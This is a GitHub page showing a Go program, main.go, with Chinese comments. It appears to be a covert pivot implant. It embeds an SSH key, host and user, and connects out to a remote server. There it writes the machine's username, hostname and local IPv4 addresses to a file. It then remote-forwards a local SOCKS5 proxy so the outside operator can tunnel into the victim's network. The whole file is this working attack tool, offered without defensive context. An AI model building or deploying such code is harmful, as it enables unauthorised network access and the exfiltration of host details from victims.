-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.go
More file actions
executable file
·144 lines (109 loc) · 2.42 KB
/
main.go
File metadata and controls
executable file
·144 lines (109 loc) · 2.42 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
package main
import (
_ "embed"
"fmt"
"github.com/blacknon/go-sshlib"
"github.com/things-go/go-socks5"
"golang.org/x/crypto/ssh"
"log"
"math/rand"
"net"
"os"
"os/user"
"strings"
"sync"
)
var (
//go:embed host
sshHost string
sshPort = "3390"
//go:embed user
sshUser string
sshListen = "0.0.0.0:3391"
// 将 sz 文件写入变量
//go:embed ssh.key
sshKey string
wg = sync.WaitGroup{}
socks5ListenChan = make(chan string)
)
func main() {
wg.Add(2)
go socks5Server()
go sshRemoteForward()
wg.Wait()
}
func sshRemoteForward() {
// Create sshlib.Connect
con := &sshlib.Connect{}
err := os.WriteFile(".ssh.key", []byte(sshKey), 0644)
if err != nil {
log.Println(err)
}
keyAuthMethod, _ := sshlib.CreateAuthMethodPublicKey(".ssh.key", "")
if keyAuthMethod != nil {
err := con.CreateClient(sshHost, sshPort, sshUser, []ssh.AuthMethod{keyAuthMethod})
if err != nil {
log.Println(err)
os.Exit(1)
}
}
addr, err := getLocalNetworkInfo()
// 获取本地用户名和主机名
User, _ := user.Current()
Host, _ := os.Hostname()
err = con.Command("echo " + strings.Join(addr, "====") + " > /tmp/" + User.Username + "--" + Host + ".txt")
if err != nil {
log.Println(err)
}
// PortForward
socks5Listen := <-socks5ListenChan
err = con.TCPRemoteForward(socks5Listen, sshListen)
if err != nil {
log.Println(err)
} else {
log.Println("hello")
}
wg.Done()
}
func socks5Server() {
// Create a SOCKS5 server
server := socks5.NewServer(
//socks5.WithLogger(socks5.NewLogger(log.New(os.Stdout, "socks5: ", log.LstdFlags))),
)
log.Println("world")
port := rand.Intn(9000) + 10000
socks5Listen := fmt.Sprintf("127.0.0.1:%d", port)
// 将socks5Listen发送到channel
socks5ListenChan <- socks5Listen
if err := server.ListenAndServe("tcp", socks5Listen); err != nil {
log.Println(err)
}
wg.Done()
}
// 获取本地网络信息
func getLocalNetworkInfo() ([]string, error) {
var info []string
interfaces, err := net.Interfaces()
if err != nil {
return nil, err
}
for _, i := range interfaces {
// 过滤掉loopback
if i.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := i.Addrs()
if err != nil {
log.Println(err)
continue
}
for _, addr := range addrs {
// 过滤掉ipv6
if strings.Contains(addr.String(), ":") {
continue
}
info = append(info, fmt.Sprintf("Interface: %v, ---Address--------: %v", i.Name, addr))
}
}
return info, nil
}